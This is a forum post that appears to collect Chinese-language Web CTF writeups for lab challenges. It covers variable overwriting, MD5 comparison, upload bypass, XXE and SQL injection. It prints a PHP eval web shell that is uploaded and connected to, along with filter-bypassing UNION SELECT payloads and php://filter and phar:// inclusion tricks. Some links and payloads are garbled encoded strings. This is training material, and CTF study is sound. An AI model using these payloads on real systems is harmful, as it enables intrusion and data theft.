首页
社区
课程
招聘
[原创]Web-CTF刷题-Writeup合集!
发表于: 2020-11-10 13:08 2616

[原创]Web-CTF刷题-Writeup合集!

2020-11-10 13:08
2616

查看源代码

图片描述

题目描述
图片描述

源代码

图片描述

图片描述
flag{asdhetianlab}

<script language="pHp">@eval($_POST['UzJu'])</script>
<script language="pHp">@eval($_POST['UzJu'])</script>
<?php
include "flag.php";
$_403 = "Access Denied";
$_200 = "Welcome Admin";
if ($_SERVER["REQUEST_METHOD"] != "POST"){
    //需要POST方法
    die("hetianlab flag is here :biubiubiu");
}if (!isset($_POST["flag"])){
    //需要POST参数=flag
    die($_403);
}foreach ($_GET as $key => $value){
    //遍历GET方法所传值
        $$key = $$value;
    }foreach ($_POST as $key => $value){
    //遍历POST方法所传值
    $$key = $value;
}if ($_POST["flag"] !== $flag){
    die($_403);
}
echo "This is your flag : ". $flag . "\n";
die($_200);
?>
<?php
include "flag.php";
$_403 = "Access Denied";
$_200 = "Welcome Admin";
if ($_SERVER["REQUEST_METHOD"] != "POST"){
    //需要POST方法
    die("hetianlab flag is here :biubiubiu");
}if (!isset($_POST["flag"])){
    //需要POST参数=flag
    die($_403);
}foreach ($_GET as $key => $value){
    //遍历GET方法所传值
        $$key = $$value;
    }foreach ($_POST as $key => $value){
    //遍历POST方法所传值
    $$key = $value;
}if ($_POST["flag"] !== $flag){
    die($_403);
}
echo "This is your flag : ". $flag . "\n";
die($_200);
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<title>学会变量覆盖</title>
</head>
<body>
<!--
$flag='xxxx':
extract($_GET):
if (isset($gift))
Scontent =@trim(file_get_contents($flag)):
if (Sgift = $content)
echo"flag
else
echo ' oh . . ' ;
-->
</body>
</html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<title>学会变量覆盖</title>
</head>
<body>
<!--
$flag='xxxx':
extract($_GET):
if (isset($gift))
Scontent =@trim(file_get_contents($flag)):
if (Sgift = $content)
echo"flag
else
echo ' oh . . ' ;
-->
</body>
</html>
<?php
 
highlight_file('source.txt');
echo "<br><br>";
 
$flag = 'xxxxxxxx';
$msg_giveme = 'Give me the flag!';
$msg_getout = 'No this. Get out!';
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($msg_giveme);
}
 
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
    exit($msg_getout);
}
 
foreach ($_POST as $key => $value) {
    $$key = $value;
}
 
foreach ($_GET as $key => $value) {
    $$key = $$value;
}
 
echo 'the flag is : ' . $flag;
 
?>
<?php
 
highlight_file('source.txt');
echo "<br><br>";
 
$flag = 'xxxxxxxx';
$msg_giveme = 'Give me the flag!';
$msg_getout = 'No this. Get out!';
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($msg_giveme);
}
 
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
    exit($msg_getout);
}
 
foreach ($_POST as $key => $value) {
    $$key = $value;
}
 
foreach ($_GET as $key => $value) {
    $$key = $$value;
}
 
echo 'the flag is : ' . $flag;
 
?>
 
<?php
header("Content-Type: text/html;charset=utf-8");
       error_reporting(0);
 
       if (empty($_GET['id']))
      {
            show_source(__FILE__);
            die();
      }
      else
     {
            include ('flag.php');
            $a = "77eK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3S2W2N6r3W2S2L8X3I4S2j5W2)9J5k6h3y4G2L8b7`.`. ";
            $id = $_GET['id'];
            @parse_str($id);
            if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO'))
           {
                 echo $flag;
           }
           else
           {
                 exit('其实很简单其实并不难!');
           }
 
       }
 
?>
<?php
header("Content-Type: text/html;charset=utf-8");
       error_reporting(0);
 
       if (empty($_GET['id']))
      {
            show_source(__FILE__);
            die();
      }
      else
     {
            include ('flag.php');
            $a = "77eK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3S2W2N6r3W2S2L8X3I4S2j5W2)9J5k6h3y4G2L8b7`.`. ";
            $id = $_GET['id'];
            @parse_str($id);
            if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO'))
           {
                 echo $flag;
           }
           else
           {
                 exit('其实很简单其实并不难!');
           }
 
       }
 
?>
1
<script language="pHp">@eval($_POST['UzJu'])</script>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
include "flag.php";
$_403 = "Access Denied";
$_200 = "Welcome Admin";
if ($_SERVER["REQUEST_METHOD"] != "POST"){
    //需要POST方法
    die("hetianlab flag is here :biubiubiu");
}if (!isset($_POST["flag"])){
    //需要POST参数=flag
    die($_403);
}foreach ($_GET as $key => $value){
    //遍历GET方法所传值
        $$key = $$value;
    }foreach ($_POST as $key => $value){
    //遍历POST方法所传值
    $$key = $value;
}if ($_POST["flag"] !== $flag){
    die($_403);
}
echo "This is your flag : ". $flag . "\n";
die($_200);
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<title>学会变量覆盖</title>
</head>
<body>
<!--
$flag='xxxx':
extract($_GET):
if (isset($gift))
Scontent =@trim(file_get_contents($flag)):
if (Sgift = $content)
echo"flag
else
echo ' oh . . ' ;
-->
</body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
 
highlight_file('source.txt');
echo "<br><br>";
 
$flag = 'xxxxxxxx';
$msg_giveme = 'Give me the flag!';
$msg_getout = 'No this. Get out!';
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($msg_giveme);
}
 
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
    exit($msg_getout);
}
 
foreach ($_POST as $key => $value) {
    $$key = $value;
}
 
foreach ($_GET as $key => $value) {
    $$key = $$value;
}
 
echo 'the flag is : ' . $flag;
 
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
header("Content-Type: text/html;charset=utf-8");
       error_reporting(0);
 
       if (empty($_GET['id']))
      {
            show_source(__FILE__);
            die();
      }
      else
     {
            include ('flag.php');
            $a = "77eK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3S2W2N6r3W2S2L8X3I4S2j5W2)9J5k6h3y4G2L8b7`.`. ";
            $id = $_GET['id'];
            @parse_str($id);
            if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO'))
           {
                 echo $flag;
           }
           else
           {
                 exit('其实很简单其实并不难!');
           }
 
       }
 
?>
  • 我的博客:blog.CatGames.cn
  • 我的邮箱:root@r0insecurity.com
  • 漏洞地址:10.1.1.147:5001
    图片描述
  • Burp抓包
    图片描述
    图片描述
    图片描述
    图片描述
    图片描述
  • 对应题目,神奇的磁带(tape)
    图片描述
    图片描述
    图片描述
    图片描述
    图片描述
    图片描述
    图片描述
    图片描述
    图片描述
    图片描述
    图片描述
    图片描述
    flag是:Flag{ctf_victory_SecBug}
  • 题目描述
    图片描述
    图片描述
  • 查看源码
    图片描述
  • 没什么东西 看看当前页面COOKIE
    图片描述
  • 打开burp抓包
    图片描述
  • 没什么东西,然后看了一下标题
    图片描述
  • 打开终端扫一下目录
    图片描述
    图片描述
  • 都指向console目录
    图片描述
  • 根据经验发现XFF没跑了 burp抓包改包
    图片描述
    图片描述
    拿到flag: flag{hetianlab-weekctf}
  • 题目描述
    图片描述
  • 访问网站
    图片描述
  • 查看源代码
    图片描述
  • 查找一番无果后根据标题猜测跟HTTP的Accept-language有关
    图片描述
    图片描述
  • 8个国家,分别为美国 英国 法国 德国 日本 韩国 西班牙 瑞典 百度搜了一下
    图片描述
  • 美国:en-US
    图片描述
  • 英国:en-gb
    图片描述
  • 法国:fr-fr
    图片描述
  • 德国:de-de
    图片描述
  • 日本:ja-jp/jp
    图片描述
  • 韩国:kr/kor 实测kr并不会返回信息
    图片描述
    图片描述
  • 西班牙:es-es
    图片描述
  • 瑞典:sv
    图片描述
    拼接flag为:flag{Thisis_hetianlab@}
  • 题目描述
    图片描述
  • 访问网站
    图片描述
  • 尝试一下admin admin 无果后查看源代码
    图片描述
    图片描述
  • 审计题 定义俩变量
    图片描述
  • 检查post user name 和password
    图片描述
  • 等于
    图片描述
  • 检查cookie是不是 check
    图片描述
  • url解密后的username变量全部等于(===你懂的)和url解密后的password不等于admin 意思是账号admin密码不等于admin即可
    图片描述
    图片描述
  • 然后setcookie等于ahash然后用base64加密secret变量然后urldecode admin admin,time()为时间7天
    图片描述
  • 流程就是抓包把cookie改成check然后加密后的secret和明文的admin与任意密码
  • 抓包看到一个base64加密的cookie
    图片描述
  • 解密后
    图片描述
  • 这个88应该就是secret这个变量 那么把它加密
    图片描述
  • 然后把包丢进repeater
    图片描述
  • 名字改为check等于加密后的88
  • 后面跟上admin与任意密码即可 注意:check那里的密码必须与下面提交的数据password一样 不然会提示重新检查cookie
    图片描述
    flag{welcome_to_htlab}
  • 题目描述
    图片描述
  • 访问网站
    图片描述
  • 检查提交的源代码
    图片描述
  • 新建文件
    图片描述
  • 写入phpinfo
    图片描述
    图片描述
    图片描述
    图片描述
    图片描述
    图片描述
  • 点击发送
    图片描述
    图片描述
    Flag: flag{hetian@lab_com}
  • 题目描述
    图片描述
  • 访问网站
    图片描述
  • 看一下提交按钮的javascript
    图片描述
    图片描述
    图片描述
  • 丢到repeater
    图片描述
  • 就只剩下第三层了
    图片描述
  • LBWNB 17这个数字 猜测是提交的数据
    图片描述

    flag{0000_0000_0000}
  • 题目描述
    图片描述
  • 访问网站
    图片描述
  • 查看源码
    图片描述
  • 源代码没有东西 直接整抓包上传8
    图片描述
    图片描述
  • Uploads/后面加上UzJu.php%00 然后点击send发现还是不行
    图片描述
  • 后来想了一下好像要改hex
    图片描述
    图片描述
    flag{asdf_hetianlab_com}
  • 题目描述
    图片描述
  • 访问网站
    图片描述
  • 写一个phpinfo上传
    图片描述
  • 过滤了<?php php使用Payload
    1
    <script language="pHp">@eval($_POST['UzJu'])</script>
  • 上传后使用菜刀连接
    图片描述
    图片描述
    Flag:flag{0123_4567_8901}
  • 题目描述
    图片描述
  • 访问网站
    图片描述
  • ../phpinfo.php
    图片描述
    图片描述
  • 拉到最底下查看flag
    Flag: flag{abcd_hetianlab_1234_qwer}
  • 题目描述
    图片描述
  • 访问网站
    图片描述
    图片描述
    图片描述
    图片描述
  • 彳亍 解密后
    图片描述
    Flag: flag{abdc_1234_qwer_hetian}
  • Payload: php://filter/convert.base64encode/resource=flag.php
  • 题目描述
    图片描述
  • 访问网站
    图片描述
  • 新建文件
    图片描述
  • 打包成zip 然后将zip文件后缀名改为jpg
    图片描述
  • 上传文件
    图片描述
    图片描述
  • 在c盘下有菜刀工具 连接地址:7a3K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5H3i4K6u0W2x3g2)9J5k6e0q4Q4x3X3f1I4y4o6N6Q4x3@1p5#2x3o6p5I4i4K6u0r3K9h3&6U0L8s2g2V1k6g2)9J5k6i4m8Z5M7q4)9K6c8R3`.`.
    file=phar://upload/test.jpg/1
    图片描述
    flag{whoami_hetianlab_student}
  • 题目描述
    图片描述
  • 访问网站 查看源码
    图片描述
  • 按照题目提示找到注释说明flag在opt目录下
    图片描述
    图片描述
    图片描述
    图片描述
    图片描述
    Flag(hetianlab_ctf)
  • 题目描述
    图片描述
    图片描述
    图片描述
  • 启动apache 进入html目录 创建dtd文件
    图片描述
  • 修改POST数据
    图片描述
  • 抓包后监听即可
    图片描述
    flag{hetian_1234_awdr}
  • 题目描述
    图片描述
  • 访问网站 直接使用file协议
    图片描述
  • 查看flag
    图片描述
    flag{enter_your_passwd}
  • 题目描述
    图片描述
  • 抓包
    图片描述
  • 需要POST参数admin
    图片描述
  • 加上XFF
    图片描述
  • 试试xcip
    图片描述
    图片描述
    flag{0123_hetianlab_hunan}
  • 题目描述
    图片描述
  • 访问网站
    图片描述
  • 源代码
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    <?php
    include "flag.php";
    $_403 = "Access Denied";
    $_200 = "Welcome Admin";
    if ($_SERVER["REQUEST_METHOD"] != "POST"){
        //需要POST方法
        die("hetianlab flag is here :biubiubiu");
    }if (!isset($_POST["flag"])){
        //需要POST参数=flag
        die($_403);
    }foreach ($_GET as $key => $value){
        //遍历GET方法所传值
            $$key = $$value;
        }foreach ($_POST as $key => $value){
        //遍历POST方法所传值
        $$key = $value;
    }if ($_POST["flag"] !== $flag){
        die($_403);
    }
    echo "This is your flag : ". $flag . "\n";
    die($_200);
    ?>
    图片描述
  • 变量覆盖题
    flag{hunan_hetian}
  • 题目描述
    图片描述
  • 查看源代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    <html>
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <title>学会变量覆盖</title>
    </head>
    <body>
    <!--
    $flag='xxxx':
    extract($_GET):
    if (isset($gift))
    Scontent =@trim(file_get_contents($flag)):
    if (Sgift = $content)
    echo"flag
    else
    echo ' oh . . ' ;
    -->
    </body>
    </html>

    图片描述

  • 判断gift变量是否存在,否则执行判断
    File_get_contents读取flag传给content
    判断gift 是否等于content,如果等于content就输出flag
    图片描述
  • 构造gift=&flag= 两个值都为空,判断相等
    flag{hetianlab}
  • 题目描述
    图片描述

  • 源代码

  • 题目描述
    图片描述
  • Parse_str导致的变量覆盖
  • Payload: cccK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5H3i4K6u0W2x3g2)9J5k6e0q4Q4x3X3f1I4y4o6N6Q4x3@1p5#2x3o6t1H3i4K6u0r3i4K6y4r3K9h3c8Q4x3@1c8S2i4K6g2n7x3q4)9#2c8q4)9K6c8s2x3^5y4K6R3&6x3U0j5I4z5e0W2S2
  • Php参考:
    2d5K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2U0L8X3u0D9L8$3N6K6i4K6u0W2j5$3!0E0i4K6u0r3P5r3S2V1M7#2)9J5c8Y4m8Q4x3V1j5I4x3U0f1^5y4K6t1@1z5g2)9J5k6h3S2@1L8h3I4Q4x3U0y4Q4y4h3k6D9j5h3u0W2L8o6t1`.
    114K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2U0L8X3u0D9L8$3N6K6i4K6u0W2j5$3!0E0i4K6u0r3P5r3S2V1M7#2)9J5c8Y4m8Q4x3V1j5I4x3U0x3@1z5e0p5^5z5g2)9J5k6h3S2@1L8h3H3`.
  • 题目描述
    图片描述
  • 访问网站
    图片描述
  • 简单的查询代码 输入1
    图片描述
  • 输入2
    图片描述
    图片描述
    图片描述
  • 提示hacker! 可能过滤的’ 或者 and等
    图片描述
    图片描述
  • 没有提示hacker 说明没有过滤单引号 根据标题发现可能过滤了空格
    图片描述
    图片描述
  • 尝试and后也没有过滤and
  • 首先1’order//by//5#
    图片描述
  • 发现没有信息 再尝试1’order//by//3#
    图片描述
  • 然后使用-1’union//select//1,2,3#
    图片描述
    图片描述
  • 然后看到我才会告诉你可以用select flag from flag看到Flag尝试
  • payload:-1'union//select//1,2,flag//from//flag#
    图片描述
    Flag: flag{63564494cac7097c}
  • 题目描述
    图片描述
    图片描述
  • 打开发现跟21周的没什么区别 只是新增了select过滤
    图片描述
  • 直接大小写绕过即可
    图片描述
    图片描述
  • Payload:-1'union//SeLeCt//1,2,flag//from//flag#
    Flag:flag{ff98f887ddaaad88}
  • Web-CTF-WriteUp
  •          一、前言
  •          二、WriteUp
  •                  ①、编码
  •                          1、神奇的磁带-WriteUp
  •                  ②、HTTP基础
  •                          2、 就差一把钥匙
  •                          3、 迷了路
  •                  ③、基础代码审计

  • [培训]科锐逆向工程师培训第53期2025年7月8日开班!

    收藏
    免费 6
    支持
    分享
    最新回复 (2)
    雪    币: 271
    能力值: ( LV1,RANK:0 )
    在线值:
    发帖
    回帖
    粉丝
    2
    图片有点模糊耶
    2023-6-4 23:19
    0
    雪    币: 452
    活跃值: (6128)
    能力值: ( LV12,RANK:580 )
    在线值:
    发帖
    回帖
    粉丝
    3
    hudte 图片有点模糊耶
    文章太老了
    2023-6-29 09:57
    0
    游客
    登录 | 注册 方可回帖
    返回